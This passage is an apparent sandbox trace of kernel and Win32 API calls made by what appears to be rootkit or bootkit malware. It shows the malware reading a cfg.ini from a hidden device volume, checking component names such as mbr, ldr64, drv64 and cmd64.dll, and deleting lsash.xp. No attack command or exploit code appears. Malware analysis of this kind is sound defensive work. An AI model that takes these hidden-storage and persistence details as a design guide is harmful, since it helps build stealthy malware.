_MaxCount=0x10) returned 7 [0124.726] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0124.726] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0124.726] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf3f60 [0124.726] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.726] KeLeaveCriticalRegion () [0124.726] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.726] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.726] KeEnterCriticalRegion () [0124.726] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.726] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.726] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.726] KeLeaveCriticalRegion () [0124.726] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.726] KeEnterCriticalRegion () [0124.726] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.726] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.726] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.726] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.726] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0124.726] IdePortDispatch () returned 0x103 [0124.727] KeWaitForMutexObject () returned 0x0 [0124.727] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.727] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.727] KeLeaveCriticalRegion () [0124.727] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.727] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.727] KeEnterCriticalRegion () [0124.727] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.727] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880035ac000 [0124.727] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.727] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.727] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.727] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0124.727] IdePortDispatch () returned 0x103 [0124.727] KeWaitForMutexObject () returned 0x0 [0124.727] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.727] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.727] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.727] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.727] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0124.727] IdePortDispatch () returned 0x103 [0124.728] KeWaitForMutexObject () returned 0x0 [0124.728] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.728] KeLeaveCriticalRegion () [0124.728] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.728] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.728] KeEnterCriticalRegion () [0124.728] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.728] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.728] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.728] KeLeaveCriticalRegion () [0124.728] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.728] KeEnterCriticalRegion () [0124.728] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.728] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0124.728] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf1b70, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0124.728] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.728] KeLeaveCriticalRegion () [0124.728] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.728] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.728] KeEnterCriticalRegion () [0124.728] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.728] ExFreePoolWithTag (P=0xfffffa8003bf3f60, Tag=0x0) [0124.728] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.728] KeLeaveCriticalRegion () [0124.728] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.728] ReleaseMutex (hMutex=0xf0) returned 1 [0124.728] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0124.728] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0124.729] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.729] KeEnterCriticalRegion () [0124.729] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.729] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.729] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.729] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.729] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0124.729] IdePortDispatch () returned 0x103 [0124.729] KeWaitForMutexObject () returned 0x0 [0124.729] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.729] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.729] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.729] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0124.729] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0124.729] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf3ad0 [0124.729] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.729] KeLeaveCriticalRegion () [0124.729] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.729] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.729] KeEnterCriticalRegion () [0124.729] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.729] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.729] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.729] KeLeaveCriticalRegion () [0124.729] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.729] KeEnterCriticalRegion () [0124.729] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.729] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.729] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.729] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.729] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0124.729] IdePortDispatch () returned 0x103 [0124.730] KeWaitForMutexObject () returned 0x0 [0124.730] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.730] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.730] KeLeaveCriticalRegion () [0124.730] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.730] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.730] KeEnterCriticalRegion () [0124.730] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.730] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880035ad000 [0124.730] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.730] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.730] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.730] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0124.730] IdePortDispatch () returned 0x103 [0124.730] KeWaitForMutexObject () returned 0x0 [0124.730] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.730] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.730] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.730] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.730] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0124.730] IdePortDispatch () returned 0x103 [0124.731] KeWaitForMutexObject () returned 0x0 [0124.731] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.731] KeLeaveCriticalRegion () [0124.731] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.731] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.731] KeEnterCriticalRegion () [0124.731] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.731] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.731] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.731] KeLeaveCriticalRegion () [0124.731] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.731] KeEnterCriticalRegion () [0124.731] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.731] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0124.731] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf2ed0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0124.731] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.731] KeLeaveCriticalRegion () [0124.731] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.731] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.731] KeEnterCriticalRegion () [0124.731] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.731] ExFreePoolWithTag (P=0xfffffa8003bf3ad0, Tag=0x0) [0124.731] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.731] KeLeaveCriticalRegion () [0124.731] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.731] ReleaseMutex (hMutex=0xf0) returned 1 [0124.731] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0124.731] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0124.732] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0124.732] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0124.732] KeEnterCriticalRegion () [0124.732] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.732] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.732] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.732] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.732] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0124.732] IdePortDispatch () returned 0x103 [0124.732] KeWaitForMutexObject () returned 0x0 [0124.732] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0124.732] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0124.732] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0124.732] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0124.732] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0124.732] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0124.732] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0124.732] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0124.732] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0124.732] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0124.732] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.732] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.732] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.732] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.732] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.732] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.732] KeLeaveCriticalRegion () [0124.732] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.732] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0124.732] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0124.732] KeEnterCriticalRegion () [0124.732] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.732] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.732] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.732] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.732] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0124.732] IdePortDispatch () returned 0x103 [0124.733] KeWaitForMutexObject () returned 0x0 [0124.733] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0124.733] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0124.733] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0124.733] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0124.733] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0124.733] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0124.733] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0124.733] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0124.733] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0124.733] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0124.733] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.733] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.733] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.733] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.733] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.733] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.733] KeLeaveCriticalRegion () [0124.733] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.733] ReleaseMutex (hMutex=0x100) returned 1 [0124.733] Sleep (dwMilliseconds=0x2bf20) [0124.739] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6d8b8a50, dwHighDateTime=0x1d24fa4)) [0124.739] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0124.739] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0124.739] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0124.739] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.739] KeEnterCriticalRegion () [0124.739] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.739] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.739] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.739] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.739] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0124.739] IdePortDispatch () returned 0x103 [0124.740] KeWaitForMutexObject () returned 0x0 [0124.740] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.740] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.740] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.740] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0124.740] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0124.740] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf3c50 [0124.740] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.740] KeLeaveCriticalRegion () [0124.740] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.740] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.740] KeEnterCriticalRegion () [0124.740] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.740] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.740] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.740] KeLeaveCriticalRegion () [0124.741] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.741] KeEnterCriticalRegion () [0124.741] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.741] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.741] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.741] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.741] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0124.741] IdePortDispatch () returned 0x103 [0124.741] KeWaitForMutexObject () returned 0x0 [0124.741] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.741] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.741] KeLeaveCriticalRegion () [0124.741] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.741] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.741] KeEnterCriticalRegion () [0124.741] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.741] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880035b0000 [0124.741] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.741] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.741] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.741] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0124.741] IdePortDispatch () returned 0x103 [0124.741] KeWaitForMutexObject () returned 0x0 [0124.741] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.741] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.741] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.741] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.741] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0124.741] IdePortDispatch () returned 0x103 [0124.742] KeWaitForMutexObject () returned 0x0 [0124.742] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.742] KeLeaveCriticalRegion () [0124.742] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.742] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.742] KeEnterCriticalRegion () [0124.742] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.742] 